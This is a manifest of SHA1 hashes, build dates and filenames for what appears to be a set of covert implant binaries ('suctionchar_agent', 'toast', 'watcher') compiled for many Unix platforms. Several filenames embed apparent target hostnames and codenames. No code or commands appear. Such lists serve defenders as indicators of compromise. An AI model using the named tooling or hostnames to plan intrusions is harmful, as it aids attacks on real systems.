+1D4AA2647484FA2EFF767B2DEF54E6062D8896EC Fri Mar 19 18:41:48 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.4.1_x86-freebsd-7.1 +553F980BA4739E81E8B45D36FD529BF3987088A6 Tue Apr 27 00:20:05 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.4.4_x86_64-linux-redhat-enterprise-5.4 +3AA5DA93C112B04989B681BE0EC29F84D3397EF9 Wed Mar 31 21:57:26 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.4.5_x86-linux-centos-5.4 +3AA5DA93C112B04989B681BE0EC29F84D3397EF9 Wed Mar 31 21:57:26 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.4.6_x86-linux-redhat-8.0 +553F980BA4739E81E8B45D36FD529BF3987088A6 Tue Apr 27 00:20:05 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.4.7_x86_64-linux-debian-5.0 +3AA5DA93C112B04989B681BE0EC29F84D3397EF9 Wed Mar 31 21:57:26 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.4.8_x86-linux-debian-5.0 +553F980BA4739E81E8B45D36FD529BF3987088A6 Tue Apr 27 00:20:05 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.4.9_x86_64-linux-vinifera-ie103 +FB1C714904AE5E80E18C328D87BFE71FD571C4AD Fri May 28 18:27:22 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.5.1_sparc-sun-solaris2.7 +D576D87C38E399C6146ABD81F839DDB3CE4F3F1D Wed Jun 16 16:47:02 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.6.2_x86_64-linux-suse-enterprise-10.2 +B8E8A17AE4070298C044FF8B2D984AC0B421BFE8 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.6.3_x86-linux-wickedviper-tux.minatom.ru +B8E8A17AE4070298C044FF8B2D984AC0B421BFE8 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.6.4_x86-linux-redhat-enterprise-5.2 +D6D03802B8C1FD110F4BFCF5D55F8891A73FA450 Fri Jun 25 15:16:36 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.6.5_x86-linux-redhat-enterprise-5.3 +16EE9C0AEB6A36CF83CAF038B5BA41F23394CC44 Fri Jun 25 18:05:32 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.6.6_x86-linux-centos-5.2 +B8E8A17AE4070298C044FF8B2D984AC0B421BFE8 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.6.7_x86-linux-redhat-enterprise-5.5 +B8E8A17AE4070298C044FF8B2D984AC0B421BFE8 Thu Jun 24 21:44:45 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.6.8_x86-linux-redhat-enterprise-3.0 +D6ED9E8606282AA208397B2E3EE20F8D31A5827D Fri Jul 2 23:45:05 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.6.9_x86_64-linux-centos-5.5 +52E152404D0FE9381EA2334E72AE615F0F3FA757 Wed Jul 14 18:17:57 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.7.10_x86-linux-slackware-10.1 +52E152404D0FE9381EA2334E72AE615F0F3FA757 Wed Jul 14 18:17:57 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.7.11_x86-linux-slackware-10.2 +52E152404D0FE9381EA2334E72AE615F0F3FA757 Wed Jul 14 18:17:57 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.7.12_x86-linux-slackware-11.0 +52E152404D0FE9381EA2334E72AE615F0F3FA757 Wed Jul 14 18:17:57 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.7.13_x86-linux-slackware-12.0 +58D8333608EDA45EF965EBFA36A5B43190CEDD7B Tue Jul 20 20:41:27 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.7.14_x86_64-linux-centos-5.3 +AF4E3AA9A019FA178DFD2311BCFF954996ED3E9E Wed Jul 21 19:40:00 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.7.15_x86-linux-redhat-enterprise-5.0 +1DC71A2CA5569B19EC9F815EE11B03A220D8CD3C Thu Jul 22 16:36:28 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.7.16_sparc-sun-solaris2.10 +07D4ED295411303AB7626A4C06863A46291A6973 Mon Jul 26 11:13:20 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.7.17_i386-pc-solaris2.10 +6FE813C023C7F1B5BE02BF774BB9FD23D47312DC Tue Jul 27 13:11:22 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.7.18_sparc-sun-solaris2.9 +031DE0DF26244491AF56B9B01D4913C15AF19CA2 Sat Jul 3 02:59:47 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.7.19_suctionchar_x86_linux_optimusprime_vezarat.dolat.ir +031DE0DF26244491AF56B9B01D4913C15AF19CA2 Sat Jul 3 02:59:47 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.7.1_x86-linux-ubuntu-8.04 +031DE0DF26244491AF56B9B01D4913C15AF19CA2 Sat Jul 3 02:59:47 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.7.21_x86-linux-slackware-12.0 +63907DD26B3C1E7E959831CECD59EDC43109683B Tue Aug 24 19:51:12 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.7.22_x86-linux-centos-5.3 +031DE0DF26244491AF56B9B01D4913C15AF19CA2 Sat Jul 3 02:59:47 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.7.26_x86-linux-alt-1.0 +542B510592FF9EB1F10BC2705481DE48A5FF0FEB Thu Sep 2 21:50:16 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.7.27_x86_64-linux-centos-5.5 +F959A23D30127602CB9A9E2E2BF40D003E189E56 Tue Sep 14 22:29:44 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.7.29_x86-linux-centos-5.4 +52E152404D0FE9381EA2334E72AE615F0F3FA757 Wed Jul 14 18:17:57 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.7.2_x86-linux-centos-5.5 +F959A23D30127602CB9A9E2E2BF40D003E189E56 Tue Sep 14 22:29:44 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.7.30_x86-linux-centos-5.5 +BC8A318F4938C60E79630D0C902E06348F2CDEE6 Fri Sep 17 17:08:28 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.7.32_x86_64-linux-redhat-enterprise-5.5 +D749E6707CA8CC4ED50725AE155C436A1034B331 Wed Aug 25 20:42:26 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.7.33_sparc-sun-solaris2.8 +DE0594405216DCC1DDDF5F939AD43FA944B42601 Mon Sep 27 13:47:04 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.7.36_x86-linux-acridmini-sg +6EB41C68D41D94B08AD805C109BD9FAE965425CF Tue Sep 28 20:39:02 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.7.38_x86-linux-redhat-enterprise-4.0 +6EB41C68D41D94B08AD805C109BD9FAE965425CF Tue Sep 28 20:39:02 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.7.42_x86-linux-suse-11.0 +F7FC249004EC43C26DCCE1F68E11C6614AE070D2 Tue Oct 5 20:19:05 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.7.43_x86_64-linux-suse-enterprise-10.2 +52E152404D0FE9381EA2334E72AE615F0F3FA757 Wed Jul 14 18:17:57 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.7.6_x86-linux-centos-5.4 +031DE0DF26244491AF56B9B01D4913C15AF19CA2 Sat Jul 3 02:59:47 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.7.7_x86-linux-slackware-13.0 +52E152404D0FE9381EA2334E72AE615F0F3FA757 Wed Jul 14 18:17:57 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.7.8_x86-linux-slackware-9.1 +52E152404D0FE9381EA2334E72AE615F0F3FA757 Wed Jul 14 18:17:57 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.7.9_x86-linux-slackware-10.0 +88201B95AD2D688112F1EF0403723B3A4F770930 Wed Nov 17 18:03:09 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.8.10_x86-linux-centos-4.4 +88201B95AD2D688112F1EF0403723B3A4F770930 Wed Nov 17 18:03:09 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.8.11_x86-linux-acridmini-sg +9871D16774273EC150EC5BC2A0B092D0FBB16611 Mon Nov 29 21:21:03 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.8.14_x86-linux-redhat-enterprise-5.5 +22FDBD2DDFD06BEA95539E49222BCE952E694BCB Fri Dec 3 00:09:18 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.8.15_x86_64-linux-centos-5.5 +B3E1C87D825072FDFD960EBDDAD7AB10034A92F7 Wed Oct 6 23:26:28 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.8.1_x86-linux-fedora13 +6639A2F29FAFC65BDDA942B6A606F6A1BDDC51F8 Fri Oct 8 16:40:08 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.8.2_x86_64-linux-centos-5.5 +1ADD8748AE7EDADF41737544F5A9E0BC2F4160EE Wed Oct 13 20:38:59 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.8.4_x86-linux-debian-4.0 +FE79D94ABE4597A364BE6850E78E488CE06FA5A6 Wed Oct 20 20:55:53 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.8.6_x86-linux-redhat-enterprise-4.0 +E4CC7474FEFEFC345D5751C2EA805FE77667562D Fri Nov 5 05:17:24 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.8.7_x86-linux-slackware-12.2 +4F1EED72333AA6138CB540B51EABEF829F7D482F Wed Nov 10 05:13:01 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.8.8_x86-linux-acridmini-sg +C4B2B92B8BE9BE05A68B9F9BB7C1E2691235ABB5 Tue Nov 30 22:10:11 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.1.9.1_x86-linux-fedora12 +101FE5DBF145EA9E312961B0A5D613E0F43E9D2B Wed Dec 15 15:37:44 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.2.0.11_x86-linux-ubuntu-5.10 +1C174304A149C4E16203E7853BE041D9402FC73F Thu Dec 9 21:52:32 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.2.0.12_x86-linux-centos-5.5 +496441D3777208DF7BEC4FCDAEB00382D10E4380 Thu Dec 30 20:56:11 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.2.0.15_x86-linux-debian-3.1-darkscrew +1E44407E313E3D9C85F6BCA0B4E27432A298EDC5 Tue Dec 7 01:23:39 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.2.0.3_sparc-sun-solaris2.9 +02E2D393510A4ECA18544CE2711678CA67B29D43 Mon Dec 6 23:50:05 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.2.0.4_sparc-sun-solaris2.10 +447459E4D48756F57D9729467DA98EDD35DE73A4 Mon Dec 6 20:37:03 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.2.0.5_x86-linux-redstar-1.1 +CD68DB10A8BBB88B89DF32582D7984C52B5699CA Mon Dec 6 21:34:03 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.2.0.6_x86-linux-optimusprime-vezarat.dolat.ir +1C174304A149C4E16203E7853BE041D9402FC73F Thu Dec 9 21:52:32 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.2.0.7_x86-linux-centos-5.5 +1C174304A149C4E16203E7853BE041D9402FC73F Thu Dec 9 21:52:32 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.2.0.8_x86-linux-slackware-13.0-switchdown_warkitten +EF5F6B625055E1EA64231D475294723DFBD2EDC6 Thu Dec 9 23:46:46 2010 [PITCHIMPAIR.12] suctionchar_agent__v__3.2.0.9_x86-linux-centos-5.5 +3B4BEF888DCF3853A1D1A1E4C9FD9F4555F85983 Thu Jan 6 00:26:25 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.2.1.1_x86-linux-redhat-7.1-tilttop +E217256C0FEADD500771377F1EC7F6DDC827523C Fri Jan 7 23:39:28 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.0.2_x86-linux-ubuntu-8.04 +B64B1AB5F6B6C2A024B2CB2A0B212D8A8F970215 Sat Jan 22 00:52:41 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.1.10_x86-linux-ubuntu-8.04 +8600D65179EA553391AEFCC5AEBB256BA0933671 Fri Jan 21 22:07:18 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.1.11_x86-linux-slackware-10.2-vinifera +E3FA89FF1538E4E6BCAB6F2C665A4D7AAE36741B Wed Jan 26 18:16:50 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.1.12_x86-linux-redstar-1.1 +4BE7EA1679F15F57DCDEFBA5E886EB9EB2EECF19 Thu Jan 27 19:22:02 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.1.14_x86-linux-redhat-9.0-optimusprime +3BD85904EB1DCE7523410FAA171859EE79B7D605 Tue Feb 15 21:18:33 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.1.16_x86_64-linux-redhat-enterprise-5.5 +A48803027767D84C08695D17A07492CC4926044B Wed Feb 23 19:21:26 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.1.17_x86_64-linux-centos-5.5 +7A27275391B35945F101F0874E2459C2CC774BB8 Fri Jan 21 20:23:05 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.1.5_x86_64-linux-centos-5.5 +46EF390297757B671945845FCA1F29274BDAEF6E Fri Jan 21 20:56:54 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.1.6_x86-linux-debian-5.0 +CDF21DF214328930CF9D2F57E362BA5DF890F89F Fri Jan 21 21:49:59 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.1.7_x86_64-linux-centos-4.8 +8600D65179EA553391AEFCC5AEBB256BA0933671 Fri Jan 21 22:07:18 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.1.8_x86-linux-suse-enterprise-10.1 +248D53CAA0B63A5D935A426A640363FFC1F1608D Fri Mar 4 13:52:57 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.2.1_x86-freebsd-6.3 +0A84087D7E22397AB1075B76AC07B7777E43F018 Tue Mar 8 20:23:46 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.2.4_x86-linux-centos-5.5 +C1AC15FB0BE9CD288253B59B6931BCCD56EE0DCA Mon Mar 21 18:39:50 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.3.1_x86_64-linux-centos-5.5 +3355CBCF2F70382B179A864DB96D09A9D3B2C220 Sat Mar 26 05:23:23 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.3.3_x86-linux-redhat-enterprise-5.1 +B94F5DFB7F583AEFE6DB1C17D377B23B5C2E7E51 Tue Mar 29 15:11:30 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.3.4_x86-linux-slackware-10.0 +0E3C249002B954DD7ED20F4BB1051BDA59646047 Thu Apr 28 22:40:51 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.4.10_x86-linux-fedora7 +0E3C249002B954DD7ED20F4BB1051BDA59646047 Thu Apr 28 22:40:51 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.4.11_x86-linux-suse-11.0 +CF2941CCFCD209540D34A7E4DCDE39D3033997A4 Mon May 2 15:07:24 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.4.12_sparc-sun-solaris2.9 +0E3C249002B954DD7ED20F4BB1051BDA59646047 Thu Apr 28 22:40:51 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.4.13_x86-linux-fedora9 +231F00A3C30B50ED02808B44E1D6FFB9B60C1E28 Mon Apr 25 14:17:14 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.4.1_sparc-sun-solaris2.10 +F1D712B324600AC2574727426D27A40E98FC7012 Wed Apr 27 15:13:20 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.4.2_x86_64-linux-scientific-5.5 +F1D712B324600AC2574727426D27A40E98FC7012 Wed Apr 27 15:13:20 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.4.3_x86_64-linux-redhat-enterprise-5.1 +22789D770948A114D0CEADB4FDF5A61934EF1AD7 Wed Apr 27 20:17:37 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.4.4_sparc-sun-solaris2.8 +0E3C249002B954DD7ED20F4BB1051BDA59646047 Thu Apr 28 22:40:51 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.4.8_x86-linux-redhat-enterprise-5.3 +0E3C249002B954DD7ED20F4BB1051BDA59646047 Thu Apr 28 22:40:51 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.4.9_x86-linux-redhat-enterprise-5.3 +3EF3975E10C1BC6A527810AD4B43058CC0996C8B Thu May 5 19:57:21 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.5.4_x86-linux-fedora8-acridmini +AD817E9EB1F07F6C448ADEE2F0A196E03C71C96F Thu May 12 19:17:07 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.6.10_x86_64-linux-centos-5.5 +79066DB1BABACB00F65A66215C9878654166E2E6 Thu May 19 18:38:45 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.6.13_x86-linux-centos-4.7 +D25CF3534E9B5DAD29F46456C4B550BDF096E695 Wed May 11 15:48:27 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.6.16_x86-linux-redhat-enterprise-4.2 +D25CF3534E9B5DAD29F46456C4B550BDF096E695 Wed May 11 15:48:27 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.6.18_x86-linux-fedora8-acridmini +40C5963F1C5489A7F0F8A9F396321DB159CA68FD Thu Jun 2 18:21:48 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.6.19_x86-linux-redhat-enterprise-5.4 +194207E8CE9134B9F2BB9DDCCCD8ECDFAC7C96CF Fri May 6 11:54:44 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.6.1_x86-freebsd-5.3 +F6F46DEC8218BD1804D32E989428047AE12211E7 Thu Jun 9 16:32:23 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.6.20_x86_64-linux-redhat-enterprise-4.5 +ABDDF8618383EEAF4CC7BA1AB8D69E5C366145CF Mon Jun 6 22:36:19 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.6.22_x86-linux-slackware-12.2-mentalbolt_e +F6F46DEC8218BD1804D32E989428047AE12211E7 Thu Jun 9 16:32:23 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.6.24_x86_64-linux-centos-4.7 +449CA601AAFDA75A3278E369ED7985643E0B095A Thu Jun 16 20:03:22 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.6.26_x86-linux-redhat-enterprise-5.3 +D25CF3534E9B5DAD29F46456C4B550BDF096E695 Wed May 11 15:48:27 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.6.28_x86-linux-clearos-5 +7C761BA232EBF02C6003C9D42D43050F5CCBA108 Tue Jun 21 13:40:38 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.6.29_x86-freebsd-7.4 +194207E8CE9134B9F2BB9DDCCCD8ECDFAC7C96CF Fri May 6 11:54:44 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.6.2_x86-freebsd-5.3-sassyninja +DD08351B1F11A2D68657B0FB98AF6C05A599D9F9 Thu Jun 23 15:09:02 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.6.31_x86-linux-centos-5.6 +BAB13B3225F32EB83B53155CEC167E22082C15DC Fri May 6 12:24:31 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.6.3_x86-freebsd-7.4-switchdown_surf_sr +1AB43FDDECAADF0407333F816E06846E1E791F7A Thu May 12 20:22:55 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.6.4_x86_64-linux-centos-5.6 +D25CF3534E9B5DAD29F46456C4B550BDF096E695 Wed May 11 15:48:27 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.6.6_x86-linux-redhat-enterprise-5.6 +9A8F2A727AA3AD8F65D052F2EFA3153CD6BD7EF4 Thu May 12 15:26:57 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.6.7_x86-linux-ubuntu-10.04 +1AB43FDDECAADF0407333F816E06846E1E791F7A Thu May 12 20:22:55 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.6.8_x86_64-linux-centos-4.2 +1AB43FDDECAADF0407333F816E06846E1E791F7A Thu May 12 20:22:55 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.6.9_x86_64-linux-redhat-enterprise-4.0 +F5E1150697AF18629172FFBB0BF64B33482FC075 Thu Jun 30 15:13:03 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.7.1_x86-linux-fedora12 +5F1FAB9AEA4B2952F08AECC78E239FCE52B499FA Fri Jul 1 17:39:55 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.7.2_x86_64-linux-centos-5.6 +3D006BE6F63FC495E897D17FDC84F56B1303D40F Mon Jul 11 19:26:01 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.7.4_x86-linux-redhat-7.1-tilttop +5970D280A4183BCA4864AC4DBDB689779DACD3D8 Fri Jul 15 17:57:23 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.7.5_sparc-sun-solaris2.10 +6D4DFCC1DA9EEC1FDD383D4FC3724CC5B37C14F0 Thu Jul 21 15:33:52 2011 [PITCHIMPAIR.12] suctionchar_agent__v__3.3.7.7_x86-linux-centos-5.6 +EA19B1410F855C419166C5E85358BB537A5A5601 Thu Feb 14 00:08:23 2008 [PITCHIMPAIR.12] toast +7FB0B9BCEFEF681CB3C0AB1EDA529BAAE71617CD Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast-toast.notstripped.powerpc-ibm-aix5.1 +FDFB9C69AA025D2F1B313EEC6AA4AF559A516144 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.alphaev6-dec-osf4.0f +D61EDC2D5A191123111B37971C0B4AF07AAD979F Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.alphaev6-dec-osf5.1 +F32E326194C3A6391ED963F77CD061E699BFADE3 Thu Jun 25 20:29:58 2009 [PITCHIMPAIR.12] toast.hp-ia64itanium-hpux11.23 +CE439F786AC8CF8F520EB5D2E9D421B65A4A12E1 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.hppa1.1-hp-hpux10.20 +17E1826E2F38A5F5985A91EE6C713ED23A562F23 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.hppa1.1-hp-hpux11.00 +CE439F786AC8CF8F520EB5D2E9D421B65A4A12E1 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.hppa2.0w-hp-hpux11.00 +D399B04BD0C3C0EFADF56DC53D9FF08B07ED5F00 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.i386-pc-bsdi4.0.1 +A19A0A2AAECCBB7C8E8382711CFF052074FA0144 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.i386-pc-sco3.2v5.0.5 +63AF9D870AA89AF40DF358F110DF4C1F19CB3474 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.i386-pc-solaris2.6 +0EF7C457432414BF88F45945A2CACF6477BC4C24 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.i386-pc-solaris2.7 +7D503113A865B22A463F2B6F7E9E644108FA3150 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.i386-pc-solaris2.8 +7D503113A865B22A463F2B6F7E9E644108FA3150 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.i386-pc-solaris2.9 +78FE57897FD111918C5842A338A4A20C945DF94F Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.i386-unknown-freebsd4.0 +277746F601212EDCC484F2F1122AAE613A1D97C6 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.i386-unknown-freebsd5.3 +859157AE53898E012865DBCD5ED36F0336908B6B Wed Mar 10 22:22:41 2010 [PITCHIMPAIR.12] toast.i386-unknown-freebsd7.0-static +78FE57897FD111918C5842A338A4A20C945DF94F Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.i386-unknown-freebsdelf4.1 +4386E5DBDC6402FDB988D8B4DD83510C326FDAF6 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.i386-unknown-openbsd2.5 +AAD328F88CD2B901CE850E31F597F93731313E69 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.i386-unknown-openbsd3.0 +03A3869459B6DAD29CF25D5B8037ED0619923F0D Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.i486-pc-linux-gnu +C7BE3728115A5970FE701E28456490EBAA62FA34 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.i486-pc-linux-gnulibc1 +EA19B1410F855C419166C5E85358BB537A5A5601 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.i586-pc-linux-gnu +DED99852F7FCEBFC9CA888743C8E2D9FFA8B5479 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.i686-pc-linux-gnu +8BEC104E6B866F9700415442D51FE4A8478AA0B0 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.i686-pc-linux-gnulibc1-slackware-4.0.0 +753305C9C2AA48BF916D9F5DC268478FA0532DCC Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.mips-sgi-irix5.3 +4C49B838202F3894FDDF2BD5BE0FDDE3FD1D500A Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.powerpc-apple-darwin1.3 +F39317261EAE12A1052F2ADB4578D54A5D3C3B59 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.powerpc-ibm-aix4.3.2.0 +6425969E388F6B8D2DD435143593A391DB25BCF5 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.powerpc-ibm-aix5.1 +6E0D33524CA2A0642FAB8579C7A2E2DA83742702 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.sparc-sun-solaris2.3 +FF9C9CDD690636EC2099C7F18CFE4E22B5021543 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.sparc-sun-solaris2.4 +C3B5B22FEE9E0731FDD38157AE5024606E2E191B Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.sparc-sun-solaris2.5 +262F45A7D98AB8F693678CB23C6130078B701BCC Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.sparc-sun-solaris2.5.1 +4FDDB3DC31BF36EE96923C291FD6364C57838595 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.sparc-sun-solaris2.6 +63AD52BD4EAF4181F03550F40A6ECADE42A6BFF6 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.sparc-sun-solaris2.7 +C194CDA72FE9123E6F8041C99AC2417983BA0972 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.sparc-sun-solaris2.8 +8963D7C99D95AB8CFA9ABC3EB47C012F851BD527 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.sparc-sun-sunos4.1.1 +232C7AA15338046C419FF8EB4ECC0ACE261FFDF2 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.sparc-sun-sunos4.1.2 +B3CE6AB92091E3027DE714FF6D9A117F8DE2715E Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.sparc-sun-sunos4.1.3 +6BCE80996A80418B57AC271D9E75DCDCB24E97B3 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.sparc-sun-sunos4.1.3_U1 +ABE16AD069D90605142E2F88823CB3AE6632BD32 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.sparc-sun-sunos4.1.4 +5CA4F7C192E4AB269E41BA6576403A11419DA1A5 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] toast.sparc-unknown-linux-gnu +09A287C371A9BE0CBF070CE8985A4512CED4EA9E Mon Nov 23 21:08:18 2009 [PITCHIMPAIR.12] watcher.i386-linux_v.2.6.0.1 +E68A9D191E0F386E021DB15F84241D5064E9CB5D Thu Dec 17 18:56:51 2009 [PITCHIMPAIR.12] watcher.i386-linux_v.2.6.1.1 +3F9076543A8950D8CE1A42C60DB1CA45FECB6238 Wed May 20 19:04:07 2009 [PITCHIMPAIR.12] watcher.solaris.sparc_v.2.5.0.1 +84D4C64A64294E71B5409FD4DBA95359B7F1C11A Mon Nov 23 21:08:18 2009 [PITCHIMPAIR.12] watcher.sparc-sun-solaris2.6_v.2.6.0.1 +79B04CB34130F60B3FF747E02C5F6BFFD2701B9F Thu Dec 17 18:56:51 2009 [PITCHIMPAIR.12] watcher.sparc-sun-solaris2.6_v.2.6.1.1 